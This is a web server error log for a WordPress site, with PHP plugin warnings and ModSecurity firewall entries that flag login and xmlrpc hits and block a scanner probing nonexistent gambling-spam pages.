[Mon Apr 27 17:10:36.918767 2026] [proxy_fcgi:error] [pid 41011:tid 41076] [client 143.44.165.169:20519] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/plugins.php?plugin_status=all&paged=1&s
[Mon Apr 27 17:10:52.450290 2026] [proxy_fcgi:error] [pid 61339:tid 61350] [client 143.44.165.169:18956] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/user-edit.php?user_id=5&wp_http_referer=%2Fwp-admin%2Fusers.php
[Mon Apr 27 17:11:37.745897 2026] [proxy_fcgi:error] [pid 41010:tid 41051] [client 143.44.165.169:24537] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/user-edit.php?user_id=5&wp_http_referer=%2Fwp-admin%2Fusers.php
[Mon Apr 27 17:13:07.652120 2026] [proxy_fcgi:error] [pid 41010:tid 41059] [client 143.44.165.169:31119] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/plugins.php?plugin_status=all&paged=1&s
[Mon Apr 27 17:13:39.657067 2026] [proxy_fcgi:error] [pid 61339:tid 61345] [client 143.44.165.169:33570] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/plugins.php?plugin_status=all&paged=1&s
[Mon Apr 27 17:14:13.710574 2026] [proxy_fcgi:error] [pid 41010:tid 41057] [client 143.44.165.169:34544] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/plugins.php
[Mon Apr 27 17:14:57.750934 2026] [proxy_fcgi:error] [pid 41009:tid 41026] [client 143.44.165.169:39372] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/plugins.php?plugin_status=all&paged=1&s
[Mon Apr 27 17:15:30.507472 2026] [proxy_fcgi:error] [pid 61339:tid 61363] [client 143.44.165.169:41442] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/plugins.php
[Mon Apr 27 17:18:59.350920 2026] [:error] [pid 41098:tid 41124] [client 143.44.165.169:58680] [client 143.44.165.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.44.165.169, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae8qA-IJ72vFwurGAAth0QAAABg"], referer: https://vetstars.com.au/wp-admin/plugins.php
[Mon Apr 27 17:19:00.422573 2026] [:error] [pid 41098:tid 41108] [client 143.44.165.169:58680] [client 143.44.165.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.44.165.169, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae8qBOIJ72vFwurGAAth0wAAAAg"], referer: https://vetstars.com.au/wp-admin/plugins.php
[Mon Apr 27 18:04:04.162931 2026] [:error] [pid 41010:tid 41047] [client 43.173.1.57:50040] [client 43.173.1.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ae80lDc-oOrM_e97_4AukQAAAcU"]
[Mon Apr 27 20:13:40.073555 2026] [:error] [pid 13554:tid 13564] [client 27.57.75.252:57241] [client 27.57.75.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.57.75.252, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ae9S9HJx87Dl-xMmL91kTAAAAMg"], referer: https://vetstars.com.au/
[Mon Apr 27 21:22:39.658781 2026] [:error] [pid 13465:tid 13498] [client 43.130.101.151:49922] [client 43.130.101.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ae9jH_19I-6GBJQxn_i1PwAAAEM"]
[Mon Apr 27 22:56:05.988174 2026] [:error] [pid 13554:tid 13580] [client 182.42.104.32:54600] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ae95BXJx87Dl-xMmL92sdAAAANg"]
[Tue Apr 28 00:31:19.623784 2026] [:error] [pid 31555:tid 31561] [client 5.135.131.86:42592] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ae-PV7JDZf3DNaSMAJ2nnAAAAAQ"]
[Tue Apr 28 00:31:22.012347 2026] [:error] [pid 31555:tid 31570] [client 5.135.131.86:46448] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ae-PWrJDZf3DNaSMAJ2nnwAAAA0"]
[Tue Apr 28 00:31:24.275250 2026] [:error] [pid 31555:tid 31569] [client 5.135.131.86:43430] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ae-PXLJDZf3DNaSMAJ2npQAAAAw"]
[Tue Apr 28 00:31:26.554990 2026] [:error] [pid 31555:tid 31576] [client 5.135.131.86:43444] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ae-PXrJDZf3DNaSMAJ2nsgAAABM"]
[Tue Apr 28 00:31:28.993583 2026] [:error] [pid 31555:tid 31574] [client 5.135.131.86:43458] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ae-PYLJDZf3DNaSMAJ2nugAAABE"]
[Tue Apr 28 00:31:31.453643 2026] [:error] [pid 31555:tid 31568] [client 5.135.131.86:43462] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ae-PY7JDZf3DNaSMAJ2nxwAAAAs"]
[Tue Apr 28 00:31:33.855352 2026] [:error] [pid 13523:tid 13530] [client 5.135.131.86:56676] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ae-PZeeav51IXKv1ebErlgAAAIU"]
[Tue Apr 28 00:31:36.285755 2026] [:error] [pid 31555:tid 31565] [client 5.135.131.86:56692] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ae-PaLJDZf3DNaSMAJ2n1AAAAAg"]
[Tue Apr 28 00:31:38.753414 2026] [:error] [pid 13464:tid 13484] [client 5.135.131.86:56702] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ae-PamIEa0q6oQ95zvFGrgAAAdA"]
[Tue Apr 28 00:31:41.032277 2026] [:error] [pid 31555:tid 31565] [client 5.135.131.86:56708] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ae-PbbJDZf3DNaSMAJ2n2gAAAAg"]
[Tue Apr 28 00:31:43.331582 2026] [:error] [pid 13523:tid 13549] [client 5.135.131.86:34152] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ae-Pb-eav51IXKv1ebErqgAAAJg"]
[Tue Apr 28 00:31:45.768876 2026] [:error] [pid 48914:tid 48923] [client 5.135.131.86:34158] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ae-PcXwuHR_nwT9alH8KtQAAAUY"]
[Tue Apr 28 00:31:48.265657 2026] [:error] [pid 31555:tid 31580] [client 5.135.131.86:34160] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ae-PdLJDZf3DNaSMAJ2n7gAAABc"]
[Tue Apr 28 00:31:50.858469 2026] [:error] [pid 13554:tid 13572] [client 5.135.131.86:34166] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "ae-PdnJx87Dl-xMmL93NSwAAANA"]
[Tue Apr 28 00:31:53.293719 2026] [:error] [pid 31555:tid 31557] [client 5.135.131.86:53004] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ae-PebJDZf3DNaSMAJ2oBAAAAAA"]
[Tue Apr 28 00:31:55.603512 2026] [:error] [pid 13523:tid 13546] [client 5.135.131.86:53016] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ae-Pe-eav51IXKv1ebErsAAAAJU"]
[Tue Apr 28 00:31:58.155083 2026] [:error] [pid 42612:tid 42779] [client 5.135.131.86:53022] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ae-PfjCDyZvIG2oFcJ7SNgAAARU"]
[Tue Apr 28 00:32:00.572313 2026] [:error] [pid 48914:tid 48925] [client 5.135.131.86:53028] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "ae-PgHwuHR_nwT9alH8KzQAAAUg"]
[Tue Apr 28 00:32:03.102918 2026] [:error] [pid 31555:tid 31557] [client 5.135.131.86:44372] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "ae-Pg7JDZf3DNaSMAJ2oHAAAAAA"]
[Tue Apr 28 00:32:05.471495 2026] [:error] [pid 13464:tid 13491] [client 5.135.131.86:44384] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "ae-PhWIEa0q6oQ95zvFGvAAAAdc"]
[Tue Apr 28 00:32:07.989712 2026] [:error] [pid 31555:tid 31571] [client 5.135.131.86:44400] [client 5.135.131.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "ae-Ph7JDZf3DNaSMAJ2oIgAAAA4"]
[Tue Apr 28 01:47:10.638290 2026] [:error] [pid 13465:tid 13500] [client 211.21.61.225:56710] [client 211.21.61.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.225, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae-hHv19I-6GBJQxn_jw5AAAAEU"]
[Tue Apr 28 03:00:04.571523 2026] [:error] [pid 31555:tid 31569] [client 51.68.234.121:44190] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ae-yNLJDZf3DNaSMAJ3LZQAAAAw"]
[Tue Apr 28 03:00:07.080912 2026] [:error] [pid 42612:tid 42765] [client 51.68.234.121:35486] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ae-yNzCDyZvIG2oFcJ7o6wAAAQg"]
[Tue Apr 28 03:00:09.528332 2026] [:error] [pid 13465:tid 13515] [client 51.68.234.121:35502] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ae-yOf19I-6GBJQxn_gMPgAAAFQ"]
[Tue Apr 28 03:00:11.961765 2026] [:error] [pid 13523:tid 13535] [client 51.68.234.121:35508] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ae-yO-eav51IXKv1ebE81QAAAIo"]
[Tue Apr 28 03:00:14.328989 2026] [:error] [pid 13465:tid 13508] [client 51.68.234.121:38918] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ae-yPv19I-6GBJQxn_gMRAAAAE0"]
[Tue Apr 28 03:00:16.711798 2026] [:error] [pid 42612:tid 42767] [client 51.68.234.121:38926] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ae-yQDCDyZvIG2oFcJ7o7gAAAQo"]
[Tue Apr 28 03:00:19.094696 2026] [:error] [pid 13465:tid 13513] [client 51.68.234.121:38940] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ae-yQ_19I-6GBJQxn_gMSwAAAFI"]
[Tue Apr 28 03:00:21.501316 2026] [:error] [pid 13465:tid 13519] [client 51.68.234.121:38942] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ae-yRf19I-6GBJQxn_gMUAAAAFg"]
[Tue Apr 28 03:00:23.825829 2026] [:error] [pid 48914:tid 48935] [client 51.68.234.121:58878] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ae-yR3wuHR_nwT9alH8pegAAAVI"]
[Tue Apr 28 03:00:26.212331 2026] [:error] [pid 31555:tid 31566] [client 51.68.234.121:58886] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ae-ySrJDZf3DNaSMAJ3LhAAAAAk"]
[Tue Apr 28 03:00:28.631930 2026] [:error] [pid 13464:tid 13489] [client 51.68.234.121:58902] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ae-yTGIEa0q6oQ95zvFWcwAAAdU"]
[Tue Apr 28 03:00:31.017835 2026] [:error] [pid 13465:tid 13498] [client 51.68.234.121:58904] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ae-yT_19I-6GBJQxn_gMawAAAEM"]
[Tue Apr 28 03:00:33.420132 2026] [:error] [pid 13554:tid 13569] [client 51.68.234.121:58908] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ae-yUXJx87Dl-xMmL93yvgAAAM0"]
[Tue Apr 28 03:00:35.777727 2026] [:error] [pid 42612:tid 42779] [client 51.68.234.121:56210] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ae-yUzCDyZvIG2oFcJ7o8wAAARU"]
[Tue Apr 28 03:00:38.144195 2026] [:error] [pid 13465:tid 13502] [client 51.68.234.121:56226] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ae-yVv19I-6GBJQxn_gMfAAAAEc"]
[Tue Apr 28 03:00:40.552345 2026] [:error] [pid 13523:tid 13545] [client 51.68.234.121:56232] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ae-yWOeav51IXKv1ebE84QAAAJQ"]
[Tue Apr 28 03:00:42.851037 2026] [:error] [pid 13554:tid 13575] [client 51.68.234.121:56246] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "ae-yWnJx87Dl-xMmL93yyAAAANM"]
[Tue Apr 28 03:00:45.210188 2026] [:error] [pid 31555:tid 31563] [client 51.68.234.121:34638] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ae-yXbJDZf3DNaSMAJ3LlwAAAAY"]
